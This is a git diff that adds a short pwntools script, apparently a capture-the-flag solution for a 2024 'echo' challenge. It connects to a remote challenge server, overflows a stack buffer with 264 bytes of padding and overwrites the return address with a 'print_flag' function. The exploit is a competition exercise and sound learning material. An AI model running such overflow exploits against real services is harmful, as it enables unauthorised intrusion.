diff --git a/blockctf_2024/echo/a.py b/blockctf_2024/echo/a.py new file mode 100644 index 0000000..2f534ec --- /dev/null +++ b/blockctf_2024/echo/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./echo-app", checksec=False) +# r = process() +r = remote("54.85.45.101", 8008) + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*264 +buf += p64(target.sym.print_flag) +s(buf) + +r.interactive() \ No newline at end of file